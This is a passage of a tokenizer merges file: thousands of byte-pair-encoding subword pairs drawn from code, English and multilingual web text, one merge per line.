t +ĠD allas +] ],Ċ +Ġ/ >ĊĊ +Ġrais ing +/r outer +_g ame +ĠC UR +z ens +. es +Ġfont Weight +(f unc +not ification +Ġ'../../ ../ +Ġbl ame +ãĢĤ ĊĊĊĊ +an co +Id entity +f ollow +Ġart s +x s +Ġofficial ly +ĠSt udio +Ġrecommend ations +Ġloc ale +Ġam ateur +ĠEn able +Ġcap s +. End +- add +_g shared +ĠC T +For ce +Ċ ĠĠĠĠĠĠĠĠĠĠĠĠĊ +Ġor ange +Ġl p +Ġanswer ed +.G rid +Ġd ual +Ġstrateg ic +Ġnob ody +Ġf atal +_ est +( el +Ġì ł +ĠB udd +A IT +_f actor +- one +ĠH AVE +" čĊčĊ +Pro f +Ġä r +str ings +Ġdir ty +ĠF ace +ĠB egin +ĠB us +Ġw is +åŃ Ĺ +Ġspe aker +Ġcar rier +ĠO m +Ġhad n +All ow +:: __ +Ġver b +ĠCom plete +ĠE asy +Ġb ills +ĠĠ ĊĊ +Vert ical +Ġpr on +ĠDef ine +Ġlook up +variable s +Ġpand as +um es +Ġinn oc +Ġset Up +ĠCh ampionship +art ist +ĠC Type +F oundation +à¹ Ī +ĠSet up +Ġrec ipes +ĠU IColor +ĠF ight +Ġauthor ized +_c lick +_s uccess +ang an +ĠMount ain +ĠDo ctor +Ġeg g +ĠMedic ine +c les +` .Ċ +[ int +d ashboard +ĠApp ro +-d r +Ġprodu ces +Ġrent al +Ġre load +Ġarr ival +sp ot +Ġund ert +Ġequ ipped +Ġpro ved +Ġcent ers +Ġdef ines +al so +Ġop acity +ĠUn fortunately +ĠIll inois +Ġн е +ĠTem ple +ĠTr ail +ĠK elly +Ġmeasure ment +Ġsepar ated +-c ircle +H ey +ĠRE AD +ig its +Ġ ib +ĠM OD +atter y +аР· +Ġv end +ен ÑĤ +ĠHttp Client +s afe +_A SS +ic it +ĠCon struct +ĠC lo +ĠS ix +_T OKEN +(b lock +Ġwarn ed +/* ! +! Ċ +Ġinnov ation +_ " +Ġ );čĊčĊ +Ġsp ots +Ġcho osing +.c s +Ġflex ible +U Int +Ġscr atch +- al +Ġf estival +Ġout standing +================================ ================ +M ean +ĠO regon +s ymbol +. account +d ney +'' ' +! ", +Ġpart icle +à ĥ +[ MAX +IV ER +ER ENCE +NS Mutable +ĠColum bia +_ ĊĊ +.f r +Ġc ogn +V R +ĠMethod s +ĠM ade +ĠB R +ĠEl se +Ġeg gs +Ġsw ing +ĠIn v +Ġdise ases +Ġf irms +Ġle mma +}` );Ċ +l ings +Ġg ym +umin um +.T rim +M em +Ġcritic ism +ibern ate +_T X +ion i +Ġguid ance +Ġrepeated ly +Ġsup plier +Ġpaint ing +.F ragment +ed Exception +Ġw iring +Ġcour ts +W EB +æľ ī +\ . +ill ance +Ġb rows +ĠP attern +PL ICATION +ĠSum mer +Ch ain +Ġc ute +mer cial +Ġd il +ĠFrank lin +ĉg lobal +IN CLUDING +h istory +Ġl st +Q t +SD L +al ia +i ere +( ... +ĉc in +iff s +vel ope +ĠR oot +cl uster +User Name +ign e +< S +Ġf est +Ġindic ating +ke eper +Ġc ada +é g +cons in +ĠG B +Ġl b +em ony +-icon s +_d oc +Act or +e lem +.De lete +Ġin fection +ĠPriv acy +Ġgreat ly +ĠP os +ĠT reat +Fl ow +Ġattract ive +ĠMar c +s udo +tes y +- an +ab ama +ĠW ould +Ġsu ck +index Path +ĠE t +T imes +Ġclub s +_ass oc +Ġac quired +(" : +Ġint ense +.m aps +Ex pected +T oggle +Ġa y +Ġl ifestyle +-c alled +ĠS now +V olume +Ġcann abis +ĠD irection +ĠLim ited +-s pecific +Ġd owntown +/ icons +Ġre ven +L eg += null +Key board +') ). +Ġ"" ;čĊ +Ġatt itude +.n avigate +- error +AM PLE +ĠJ ay +v r +c ow +.com pile +Ġmem ories +_m ark +ĠMin nesota +Ġk osten +Ġprob ability +w arning +Ġgen etic +F ixture +ĠHash Set +N ombre +_m onth +Æ ° +- start +xy gen +ĉ ft +i agnostics +ĠMat thew +Ġconcept s +Ġcon str +. State +и н +N ov +Î ± +ĠP anel +ä¸ ª +com pare +> ()Ċ +Ġapply ing +Ġprom ised +Ġo x +nc ia +ĠValid ation +ort s +_c ur +e lect +ey e +( Data +Ġreport er +ĠB uff +Ġs r +Ġ" ; +ick y +Ġtemp or +S N +Ġres ident +pi res +ys ical +Ġend orse +ĠS ong +is Empty +le et +_ util +Ġdist ingu +ĠT alk +ĠM ot +( default +.A rg +gorith ms +_ words +im mer +_res et +f amily +W W +Ġsav ings +ĠâĢ Ŀ +_en able +side bar +Run ning +Ġal i +Ġtest im +Ġwarn ings +ĠCh em +ĠEx it +Ġfound er +pect or +Ġr m +_d ataset +ĠD as +Ġh an +Get ty +á l +Ġn y +Ġpo verty +Ġresult ed +.b y +ĠVis it +Ġobt aining +/ '.$ +ĠĠĠĠĠĠĠĠĠĠĠ Ċ +sh all +_LE FT +UI Image +_ Name +h ave +ĠN ob +l r +- footer +Ġn aked +ĠG arden +\F acades +Ġgrad uate +Ġfranch ise +pl ane +Ġcontrib utions +Ġstring With +Ġc rypto +Ġmov ements +ath ers +Ġlif etime +Ġcommunic ate +j ar +ĠFr agment +_ IF +ĠN avy +ĠF igure +Ġsim ulation +_st op +Ġreport ers +Ġvers us +aj a +ĠÎ ± +Ġgovern or +List Item +Ġse aled +.Back ground +ed i +ash ing +Ġl ip +ĠI h +mer ge +Ġn ec +el ocity +ATE G +Ġse eds +Ġflo ating +_F A +w alk +ĉ user +_de pth +Ġw age +@ app +N il +( [" +( vector +Ġsecret ary +Ġj Panel +ve z +³³ ³³ +d irection +ĠE P +Ġh unt +Json Property +ĠP ORT +] ", +аР¿ +ĠFore ign +pan ic +Ġtri als +ĠA le +Ġr ural +- value +author ized +ĠScot land +.d rop +ĠM T +ç ± +row th +File Path +Ġrec all +if le +Ġc el +ĠSE LECT +k n +_c ase +Ġc rop +s ure +p ot +IC S +Ġst em +Ġindust ries +P ut +Ġa ber +road cast +Icon s +) ")Ċ +æĪIJ åĬŁ +g ui +Ġassum ed +Ġr x +E A +è § +EL L +Ġdo se +Ġin e +Ġde eper +l ider +Ġord inary +Ġg olf +_IM AGE +ĠN AME +(m odule +Ġat om +Ġbel t +Ġoff ices +b eta +Ġphilosoph y +( JSON +-f ield +Ġintrodu ce +Ġconven ience +opt im +> "Ċ +ath y +Ġemploy er +qu ate +Ġed ited +Arg uments +ĠN ations +__ ) +Ġno se +ĠS ample +' )ĊĊĊ +Ġc ake +.get Attribute +H D +Mod ified +Ġpredict ed +Å Ħ +an ie +S orry +(d oc +w ind +ie ve +Ġprov isions +AT ER +OT E +M Y +.A utowired +ĠB ath +. Boolean +Ġback end +.M ouse +ater al +p aper +Con st +ĠV R +_ entity +_C TRL +ĠProte ction +ĠG M +ĠStud y +Ġsou p +ot ime +' use +] " +/ users +a ug +ĠH ong +_n orm +ãģ ¨ +Ġse cre +(B uild +ĠCon tract +ol as +Ġsa uce +Ġaggress ive +Ġrac ial +char acter +@ @ +Ġcomp ile +ĠV oid +_re m +_m emory +k k +Ġm ic +S ame +U tility +ĠH tml +ĠX ml +Read y +Ġg all +Ġalleged ly +ĉĉĉĉ ĠĠĠ +ĠMet al +ĠPerson al +Ġborder Radius +rx js +object s +Ġwant ing +Ġb owl +v endor +offset of +ĠR s +ĠR ating +Ġr ally +_N ODE +ĠM ix +Ġadvert is +Ġnarr ative +s al +Ġm c +SE rror +Ġf ingers +Ġaccom pany +Ġt ired +Ġstr ide +Ġgu i +el ist +Loc ale +Ġrele ases +ik ing +Ġan ger +)) )ĊĊ +alle st +Sum mary +( O +(f or +Ġbasket ball +Ġroad s +ĠInst all +ĠF ab +it map +Ġ) )Ċ +Ġinter section +ighb or +ĠB ry +ĠHER E +So ftware +elf are +ac s +Ġtrail er +.get Class +ch ars +Ġreg ulation +Ġref ers +Ġde struction +Ġcontin uous +ĠAust in +é ¢ +ak an +.w indow +ĠTem plates +Ġabs ence +: n +Ġdis order +fl ash +Ġde let +bo ards +ĠĠ ĉ +RO P +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +Ġac qu +Ġlaws uit +ĠRe views +Ġgar age +t imer +Ġe j +ĠRect angle +Ġflow ers +il st +ĠIn stance +S uper +d et +dis posing +ĠE S +ĠI C +ver e +S k +_ch annels +put ed +/ null +nn en +ĠG allery +_g lobal +Auth entication +ĠR ank +Ġblock ed +Ġcal m +mark et +ĉ val +Ġa ug +per iod +ĠCon stant +Ġ?> ">Ċ +Ġl obby +p al +Ġs ink +ia h +Ð ¡ +urn ame +Ġcon ver +Ġinvestig ate +Ch rist +H ub +ĠIN D +ĠP ed +ur as +ĉ url +ĠT ro +Ġpre ferences +Ġguarante ed +` ĊĊ +Ġport ions +Ġeval u +' > ;ĊĊ +.AutoScale Mode +Ġc ats +Ġreg istry +ul us +F I +p ayload +- search +Ġstay ing +ac ious +Dec oration +Re view +In f +Ke ep +it is +, String +Co ord +Ġper o +S ex +ĠAtl anta +uest a +Arg b +> * +} _ +F ooter +Ġemploy ed +_b ound +v ide +.f unc +$ scope +Ġsp o +ĠAn al +ounc ed +ar ound +Ġrestr iction +Ġsh ops +å Ģ +ĠLat in +-c ol +Ġbare ly +ĠE uro +E r +Ġfa ire +_d istance +_un lock +Qu ote +IV ATE +Ġå Ī +Ġaim ed +ĠRet rie +. iter +Ġwr apped +Ġagre ements +str ument +( product +Ġstud ied +.set Value +Ġy e +ĠC ache +MB OL +Ġquarter back +Ġsy ntax +.getElements By +.v ersion +we bsite +Run ner +_s ingle +at iv +ĠAl tern +ĠBeaut iful +right arrow +Ġd iversity +pl ash +( co +.F ill +Ġtyp ing +Ġcl ar +H it +O O +ac co +w orth +Ġscript s +ĠMuslim s +ĠL L +erv ing +( boolean +Ġbase ball +ĠC AN +MA IL +de pend +Ġrespect ive +Ġconst expr +.* ;ĊĊ +'] ))Ċ +Ġy ard +Ġident ical +if ecycle +US H +up iter +. validate +cl i +IST ER +Ind icator +F ail +Ġdemocr acy +. var +Ġsatisf ied +------------ - +enc er +h or +Ġr ounds +DA O +o a +Ġfl ask += c +[ ]Ċ +/d ist +Ġpart e +Ġconfirm ation +er on +aw are + +Ġdepend encies +ĠV ideos +- row +Ġ** /Ċ +Ġn ou +Ġh over +æ ŀ +Ġn in +ĠUS D +M ac +_L oad +Ġout comes +_s ocket +Ġqu eries +w m +Ġhit ting +in ux +M ich +ud ge +AT AB +Ġvulner able +ä ¾ +Ġport folio +: YES +ĉm ap +B ound +Ġiter ation +in cess +Ġact ors +ĠQ ual +_c lean +ãĢij ãĢIJ +MS G +G reen +ĠOff icer +Ġsm oking +> ', +ĠF lo +++ ; +oly gon +Ġbul k +Ġdr ama +Ġexception s +os ed +Ġ+ čĊ +Ġleg acy +C V +Ġcontrib uted +ĠTer ms +Ġb t +Ġunt uk +Ġal ien +=== Ċ +ĉ Vector +Ġl s +On line +.f acebook +num eric +ock ets +A ut +b ury +-re dux +ĠRed istributions +GLOBAL S +urrenc ies +Ġt ons +âĢĻ , +Ġà ª +(c ol +ĠS ymbol +Ġstay ed +ĠM L +Ġm unicip +Ġsex o +S en +n r +Ġg ains +Ġshort ly +.M enu +à ½ +KN OWN +Ġoper ators +- V +ĠPat rick +/ add +_C O +ir ation +(p ost +Post s +/ _ +Ġpl ug +Ġintellect ual +Ġmet ab +Ġpregn ancy +ĠPrem ier +n m +Ġpred iction +ĠMin istry +Th ree +val uate +ĠMin i +b u +оР· +< ul +Ġd d +ol ving +ĠC ut +Ġs chem +.tr ain +it ate +Ġr ice +Ġbird s +ãģ « +m iddle +struction s +Ġn erv +a que +Ġfl u +Ġsurv ival +ĠGal axy +ĠF ant +. Order +At trib +irt s +é c +M ovie +Ġcon ce +qu arters +Ġm ood +.Add Range +Ġres olved +ãĥ Ī +Ġburn ing +ĉĉĉĉ čĊ +ĠW E +Ġhost ing +L AB +Ġman agers +Ġstre ngthen +< const +ĠFire base +on ed +ĠJ ean +' ";čĊ +ĠS av +.B old +Ġen ables +ĉt mp +Ġman ually +ĠS qu +user id +.f unction +.c ache +LO PT +.S ervices +dd it +t im +< img +ĠTh ings +ĠEvery thing +Ġa pt +em and +Ġroll ing +ë ¦ +. level +Ġst om +ĠW inter +Ġview ing +( values +ocom plete +v ia +up o +Ġabort ion +i ère +ï¼ ij +_B UTTON +_d omain +Ġb ra +ĠA st +in as +Ġstat ist +c od +L R +Ġdr ives +Ġfollow ers +Ġall ies +ĉc urrent +ecess ary +Ġdam aged +_ pt +and les +oun tries +Ġsim ult +e u +Ġcontrovers ial +_G ROUP +Ġr ib +. Info +: mm +.n ormal +_ADD RESS +Ġ íķ +add le +ĠD ur +. Element +W arnings +Ġcred its +Ġin hib +Ġem issions +Ġh az +.y outube +ugg ed +Ġbo ther +ĠK ansas +ĠF ixed +ĠTest s +ĠF IX +Un iform +Ġk ont +>> > +st ation +lo re +at ype +ish op +/ **************************************************************** +Com boBox +Ġvac ation +Ġiniti ative +Ġdefault Value +con cat +ĠK h +ĠW elcome +ized Name +M igration +Ġgrad ient +H ot +Ġhard ly +el o +ĠStud ents +Ġlo ose +at z +.S end +' / +Ġunivers al +Ġenter prise +Ġreg ex +Ġvis itor +ĠF ly +Se q +à¸ Ļ +ĠVis ual +Ġlib raries +ato es +P ayment +Ġp ent +Ġgather ed +VRT X +ĠD M +S plit +Ġlet ting +Ð Ŀ +_error s +ep och +P ARAM +c u +ÑģÑĤ в +ol utions +Edit ing +font s +Ġalloc ated +ĠB ased +( Y +ĠJud ge +Ġbro thers +FILE S +ç o +w b +_P I +' ^ +Ġs word +.s ervices +Ġn l +T im +ig g +ĠMo ore +Ġcrypt oc +åĩ º +_post s +ot ate +? ' +... .ĊĊ +Ġk l +=" $ +Ġdec oration +Ạ¡ +ĠD IRECT +G UI +) =>{Ċ +Ġnews letter +Ġprec is +(p oint +ĠEqu ipment +ut y +ĠD ave +Ġparticip ation +u arios +x it +.A s +ET ER +or ous +Ġsh ield +[] > +ilit ary +. origin +Ġprom otion +U nt +Ġc t +TR A +View Holder +Ġsig ma +d elta +are house +con tract +( Vector +Ġcompet e +/ form +/ components +Ġn r +ĠInd ones +Ġо ÑĤ +ĠV olume +.f iles +(res p +/ models +Ġsur f +stand ard +/ o +ĠXCT Assert +V ICES +.C ode +SE D +Ġact ivate +D elta +Ġlimit ation +ri j +Ġpregn ant +: ^( +Ġs our +p ie +Ġexp ense +ic ation +ĠL arge +Ġ ± +ĠB owl +(model s +/ N +P a +.re load +Ġwonder ing +Exec ution +ĉ ĠĠĠĠĠĠ +ĠG raphics +ĠCont in +_j ob +Ġget Name +ĠM agn +ĠD WORD +m ad +Ġn h +fe atures +} ");Ċ +he ets +(tr ain +z n +Ġrecru it +.con nection +Ġbar rel +Ġste am +_set ting +Ġang ular +ane ously +Ġb il +ĠN orm +(! $ +ib t +% ( +Ġpos it +ĠF ather +int endo +L ive +Ġport s +Ġme j +Ġland ing +pon der +Ġc od +_HE ADER +.M argin +Ġball s +Ġdiscuss ions +Ġbl end +H ex +Ġfarm ers +Ġmaint aining +ĠĠĠ čĊ +s yn +[ T +r us +uff ers +Ġcontrib utors +_s ys +.De bug +Ġconstruct ed +om es +? id +sl ider +Ġsup pliers +scri ber +p es +Ð ŀ +": čĊ +\ Controller +)) ĊĊĊ +Ġl ua +M ulti +EN S +S rc +Ġpet ition +Ġsl ave +look ing +V ERT +ĉ vector +S pecial +h h +an ne +ĠN iger +/ views +z ing +end ant +< C +s peed +Ġ{ };ĊĊ +Begin Init +Ġf open +@ RequestMapping +End Init +Ġp unch +S ender +é Ķ +get Message +/t ypes +.P I +(' ');Ċ +oc used +( all +Ġdrop down +). __ +ĠV in +.Fore ignKey +can f +ou red +ĠOrgan ization +ĠÐ ° +ĠC ulture +(cl s +, _ +rg ba +ìĿ ĺ +.data GridView +Ġdo zen +ĠG es +_sh ared +n ick +Ġh osp +om eter +Ġclaim ing +ib les +ri k +æĺ ¯ +en ario +Ġd engan +ob b +m ont +_r ank +('/ ', +Ġap olog +P s +_p ower +ĠG ree +Ġful fill +Ġfire base +Ġf are +ĠH im +Ġbe an +â̦ . +ĠS PI +_R X +Ġper ception +rel ative +comp ile +u um +ut os +a uc +ĠAs k +Ġindic ator +/ th +.set String +ĠWis consin +.D omain +Ġart ificial +De velop +ĠSar ah +Ġl ying +( search +ĠEmp ire +urr ing +æĹ¶ éĹ´ +=" ${ +Ġget Id +ĠP ayment +trans ition +Ġ ]. +ix in +V T +- select +Ġdemonstr ated +Ġlast Name +employ ment +.get Property +Ġf ought +file Name +ĠP ers +-c ard +a str +attr s +Ġprom inent +Des ign +anc ouver +ãģĹ ãģ +ard o +se cret +Ġr ag +Ġpo ison +-m an +, omitempty +ĉ un +it zer +ĠCas ino +ĠR oss +- foot +(result s +Pl an +Ġlas er +ê¸ ° +_D R +F acebook +Ġbo ards +st a +] ], +Ġt iles +S IZE +Ġ= ~ +Ġprem ier +oc ab +Ġenc oded +Ġres erve +ĠAfghan istan +ĠList Node +url s +Ġsub mission +Ġne u +Ġ# +# +_P OST +Ġmo ist +ell i +ellig ent +. alert +ó d +b re +ĠCol lect +Ġgraph ic +Ġlong itude +ĠPro vid +ĠCal culate +x ffff +c riteria +Ġw aters +ro ck +lo quent +ĠT rib +Ġbur st +Ġsuff ix +.Ext ensions +ish es +iv el +ĠLI KE +ĠGet ty +.Action Event +.s lf +ĠH AL +up al +E AR +ud i +_time out +U F +ĠSing apore +ĠAd vent +_int erval +cha ft +ĠE mer +Ġtele phone +ĠTur k +_ interface +ĠO wn +Ġencour aged +< Object +_T ext +ĠOnt ario +ĠApp ly +.f irebase +Ġant ib +P riority +ene z +D ays +c id +urre nce +; / +inn ed +Ñģ Ñı +Ġve z +f w +// $ +att ack +Ġstart up +ain ers +.f ragment +op acity +( conn +he im +.n etwork +( stream +ĠN ON +t ol +ĠX box +ĠD S +Ġc ached +Ġprostit utas +ĠB alt +(' [ +Ġno except +" ' +Ġs d +. valid +_ ag +Ġr aces +Ġro d +itud es +< >( +.Pro duct +Form s +NE W +P ay +ĉ boolean +_ contact +ĠElect ric +sk ip +Ġw ur +Ġch ronic +_d river +ĠS ab +ĠU lt +ĠR ad +ST ATUS +ĠLew is +O B +Ġgift s +.Re c +TR UE +Ġint ensity +Mark er +.com pare +ff ic +C ookie +ĠB aby +ĠBig Decimal +ile t +ĠHOLD ERS +ĠL ady +Ġl ung +ĠAl abama +Ġd ess +` );Ċ +ĠB uilder +_reg ion +Ġne utral +Bo th +Ġh p +Ġh orn +Ġseg ments +ĠE C +"=> " +( rec +ĠP i +G M +Ġl aptop +Sc alar +is d +-d ialog +ĠAnd erson +Ġmist akes +ĠH an +j es +est ination +Ġprom ises +b id +ĠSc ient +G IN +ĠPer formance +b age +. users +le ading +Ġor al +G raphics +_P TR +h ang +Ġin ev +process ing +F actor +ĠN A +$ string +Ġground s +.Save Changes +c lock +cri pcion +ĠNew ton +g c +.in cludes +Ġbl ast +Ġ'- ' +Ġpued e +.S ession +Ġgre p +_f inal +ĠG ay +ĠG ive +ir i +-st ar +ĠUI Image +_ep och +ub b +ent h +Ġel ite +Ġcampaign s +ĠP orno +_ assign +Prot ocol +ĠBe ing +ĠAir port +Ġconvent ional +ĠW at +ĠC I +ET A +ĠAnth ony +Ġtable t +( format +Ġconsist ently +ĠI owa +Ġav atar +.c ursor +! [ +Ġh anging +H er +S uch +';ĊĊ Ċ +orge ous +() == +Ġview Model +Ġ ãĥ +Ġel s +ĠAg ent +F etch +ap or +Ġc x +p read +ĠP ier +oe ff +S n +ĠV irtual +A pr +.Wh ite +_M OD +ĠPoint s +å¤ ± +Ġgen es +Ġv endor +Ġmain stream +< src +ĠEl izabeth +Dec oder +- state +ĠG lass +nc y +adi ans +_m on +ĠRem ote +Ġwire less +ĠM i +å ī +è¡ ¨ +st age +ĠT ile +ll ib +V ariant +== Ċ +Ġgold en +(Q String +.put Extra +ĠD om +ĠAn imation +Ġinter active +if act +éĻ ¤ +LE T +Ġfrequ ent +Ġ< >Ċ +F ilename +Ġs ne +ĠFoot ball +Ġr ival +Ġdis aster +ion ic +ĠD amage +. Resource +- en +ĠT ypes +get String +( board +Ġb ol +pl ain +z ym +ภ² +Ġsc anner +ild er +_msg s +æ ı +(int ent +Ġde struct +Ġb ust +ĠE mploy +on i +ĠUI ViewController +Ġodd s +ear er +Ge ometry +Ġy ii +_EX PORT +ĠAtt ack +Ġn iet +Ġim pression +ĠG il +_pro b +ĠC F +ĠEx perience +/pl ugins +.M ethod +Ġbelie fs +N ative +_b uild +Ġv ig +Ġr anks +cover ed +s uch +G uard +.p ack +add er +iv ia +l ng +Ġв Ñĭ +T imestamp +_n ow +Ġp oker +Ġun c +Ġsh apes +-t ypes +_per iod +p k +Ġveter an +Ġson o +Ġappoint ed +over flow +.d river +_c at +ut t +pl ant +im b +ĠAc cept +Ġconc ert +ĉ node +ĉ z +? >čĊ +Ġb anned +ĉ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +Ġto xic +Ġdisap pe +È Ľ +Ġgr ace +ate ful +Re ply +ĠCru z +Ġsc rap +Ġkey words +s imp +Ġmort gage +Ġcy ber +ĠEx ecute +Ġlat itude +if u +.C OM +d bo +Ġsort s +ĠG as +om ial +.L ocal +Cell s +.Re place +String s +.f it +ĠTh ird +% ",Ċ +Ġ{} ". +ĠS ony +Ġ[ : +Ġfall en +. ')Ċ +in h +ĠM C +Ġred is +C odes +Ġprofile s +h ook +Reduc er +_F UNC +Ġn avigate +str len +Ġh orm +á ŀ +ĠS R +. boot +Ġdig est +ĉ header +.find One +æ ģ +Db Type +n ia +_m erge +Ġdon ne +/ Getty +_CH AR +Ġb ands +. URL +art ial +Ġf req +Ġs ist +N g +Ġrender ing +\ Core +Widget s +ĠV A +Ġactiv ists +St e += _ +all a +St amp +Ġload s +Ġx x +ĠL earning +.M vc +u ir +(" $ +Ġconnect ing +Read Only +ur u +ĠE ag +B IT +_DE L +å § +arr ass +ext ernal +ĠY OUR +ĠB rew +ĠF ive +Ġres ize +ig id +er ation +ĠÑ į +åĬ ł +ĠC atch +Ù ģ +ĠLe on +am il +.B ody +Cl ip +/ list +.b r +Edit Text +ĉ db +.G ame +(Build Context +back end +.R ed +face book +.url s +m r +rol led +---- --- +Ġinter vention +Ġretire ment +ĠK it +ĠP RE +Upper Case +ĠS ocket +Ġ: - +Ġstudy ing +ĠMet ro +ard ed +Ġconvers ations +C alled +Ġexam ine +ert ificate +.g z +-res ponsive +Ġref und +_n etwork +allow ed +em pt +Ġme als +C ategories +Ġtravel ing +Ġk g +Ġsh ame +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +Ġexplicit ly +Ġmath ematic +ĠS uite +ĠR GB +****** / +Ġmix ture +lear ning +.t emplate +att s +w x +ĉ ctx +.p roperties +Ġdrink s +ĠE ither +set Text +.get Data +.z ip +Ġreve als +< table +.Hash Map +ĠH ur +) ");Ċ +.f ramework +ĠST ART +feed back +Ġsaf ely +. icon +config ure +. lock +.l ayers +/> .Ċ +Ġrank ed +_ impl +ĠHand les +Ġhost ed +Ġup dating +al bum +é Ŀ +Ġsh ader +Edit ors +- round +[] { +Ġse p +ĠH i +TE M +look up +.m an +_IN PUT +Ġthreat ened +_IM PORT +Ġd rops +ru it +s id +bo th +ĠEx cel +Ġj er +ord inary +еР¹ +V IEW +re ply +Ġ) :Ċ +color s +ver ified +_T r +_p arse +Ġcon gress +P romise +int s +ĠM other +.A pi +ĠD uration +Ġfirst Name +inherit doc +ĠM ars +Ġa pr +OD Y +Ġvis its +Ġhe aling +let ters +)) );čĊ +f uture +.F ramework +Ġk iss +Ġinv olve +Ġsil ent +ad ows +Ġany body +s ch +Ġsole ly +- img +Ġprop ri +Ġin struct +Ġlic enses +Ġm eth +Ġcond em +ĠD omain +ĠHarr is +Ġs Ã¥ +CE PT +B atch +@ extends +ĠCONTR IBUT +.Data Frame +_p acket +rec ision +Ġfoc using +. ht +__ ":Ċ +: Get +ĠK C +Ġpass age +Seg ment +_c enter +-z A +_B L +Ġconv in +Ġclass ified +ĠNS Mutable +_ ap +t ile +Rect angle +(n ums +v ens +ĠUI Button +ĠF eder +am o +Ġout line +ĠPar ser +Ġâ ī +ĠWork s +.S chema +Ġeng ines +_com mon +_ old +Ġset ContentView +Ġ/// < +ĠB T +f m +Ġd ivers +_ weights +em ark +ĠA CT +Ġpro portion +over lay +.dir name +ĠG it +_REF ERENCE +< > +l b +_r ule +è´ ¥ +ĠPut in +Ġsleep ing +() :čĊ +Ġpres erve +Ġpar liament +ĠLook ing +Ġpick ing +ĠDis patch +Ġsl ip +ë ĵ +ĠL yn +_sign al +config uration +ĠP itt +ad en +pro cedure +Ġenthus i +f ight +ĠCons ider +Ġt orn +Conn ected +.c os +_group s +ĠTh ink +Ġdel iber +Ġres id +work ing +.column s +ĠCal led +Ġes lint +> ", +_D OWN +h ist +ĠAdv anced +Ġre wards +act ors +Ġsil ence +Ġmy th +Ġne ur +Ġa uction +.Get String +ek s +( project +ĉ msg +ĉ output +Ġcomplaint s +, S +Ġt bl +Ġ, ĊĊ +ri ors +ah ren +Ġlawy ers +re dux +_s ymbol +off ee +_RES ULT +( Name +UT C +.current Time +Ġorgan is +. arg +Ġmin im +w ick +Ġrece ives +B alance +Ġspeak s +ĠD ays +ĠBel ow +t ipo +P resent +Ġres erv +h p +Ġr it +_R IGHT +-- ) +Ġchair man +D IS +ĠBO OST +Ġexper iments +__ );Ċ +Ġst amp +Ġf ert +Ġf ond +T er +el ve +ure n ++ i +end ency +Ġvirt ually +... " +ï½ ŀ +- cent +_un ique +Ġpr icing +m ic +RES H +Ġ:: : +Ġan notation +ĠC ircle +ong odb +it as +Ġ% ( +( component +Ġо б +( port +-h our +. obj +L BL +Ġj ury +GB T +Ġsp y +ĠProf essional +Ġ"" ;ĊĊ +Ġstri king +Ġdiscrim ination +Ġp ays +lic t +ent es +Ġthrow ing +ĠPl ugin +( def +ĠRuntime Exception +ĠM igration +Ġd ic +b ag +on ia +Ġcor ruption +( Map +Ġpr z +.d to +Ġac quire +State ToProps +Ġlo ving +оР¶ +_p attern +Ġemot ions +Ġpublish er +_b e +Ġcoup les +o j +ĠCh art +Ġt rop +.t ool +Ġestablish ment +Ġd ol +Ġto wer +Ġl ane +ĠSy dney +Ġfill ing +claim ed +Ġdialog ue +Ġcon vention +book ing +pare ncy +æ ± +ĠGener ic +\ Schema +Ġr anges +/ ch +Ġpan els +Ġr uled +çĶ Ł +.t s +_s ets +Ġclean up +Pre vious +ĠAn imal +($ ( +ĠA ve +oll ar +_e val +ĉ Name +(t ree +Ġ" ] +Ġdut ies +=' / +Click ed +Ġdifferent ly +ĠCl ark +Ġd it +olog ists +Ġsy nd +Ġs ends +- known +k b +ĠMod al +it ative +Ġr acing +Ġhigh lights +ĠSim on +ĠCapt ain +ä¿ ¡ +ĠC B +cont in +ar an +Ġphys ics +ret ty +et al +.m d +ax ios +Ġspeak ers +Ġpre p +Ġaward ed +ì§ Ģ +ĠC orn +ĠN ature +UD IO +Ġpro j +- pre +[ u +Fe atures +Ġis Equal +B inary +s ig +Ġconf usion +ĠH at +Ġkt ó +.config ure +M ON +/ edit +_A dd +, true +Ġc li +Error Message +- loader +Dim ensions +ultip ly +Ġ{ !! +ĠSql Command +Ġsp oken +Ġp ics +Ġto y +( Key +ĠLo op +Ø ¨ +E ATURE +in ction +_set up +w rapper +Ġt ong +c ular +O pt +.P l +=" , +(l ength +um n +Ġch rom +Ġse vent +ĠIllegal ArgumentException +ĉ start +Ġbeg un +CE PTION +dat aset +ĠF ailed +col s +Ġkne e +im ore +.sp lice +sh ell +ig gers +Ġthem es +ĠD J +ĠAss istant +- $ +May be +Ġorder ing +ĠInt elligence +ĠMass achusetts +Ġfail ing +el son +G reat += i +.re st +Ġinv ite +-dis able +.Group Box +âĢĻ est +Ġtack le +g v +et ter +Ġ), čĊ +_r ules +.w arn +function s +ĠChrist ians +Ġback ed +Ġsl ider +Ġenjoy ing +n est +Ġh ij +_m s +// * +An notations +ĠVariable s +< V +( server +ĠOr acle +element s +Ġorgan isation +_point er +ĠHe aders +[ d +Ġdead line +iss a +Ġkn ife +ĠNAS A +ĠHe ight +ĠAs ync +Ġven ue +.d om +bour ne +ĠHaw ai +Ġmem o +ict ions +Ġsurve illance +om i +/ assets +Ġed u +Ä Ľ +Ġro ster +Ġh ired +ĠT ok +Ġpl acement +ur ations +Ġset State +ĠMag azine +Ġhor ror +T ry +Ġl ag +ĠEvery one +th ur +)) ;čĊčĊ +. return +Ġsy mp +âĸĪ âĸĪ +Ġn ights +work er +Ġa le +ennes see +.st ep +Ġsynchron ized +our i +Do es +. change +f on +.set Background +irc ular ++ - +ĠC IA +ĠJ ane +ĠSim ilar +- I +level and +Ġpros pect +_f ound +ĉc olor +.D iagnostics +Ġann ounce +Ġassum es +/ tr +Ġb d +ĠCar bon +Ġanal ys +.de st +n ik +ĠL ie +- index +Draw able +ĠT AG +Ġtri angle +_F LOAT +ĉĉ ĠĠĠĠĠ +.bl ack +v ue +cur acy +Ġaffect s +Ġsure ly +Sl ider +uk i +c ery +Ġun ter +.pro file +ord on +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ 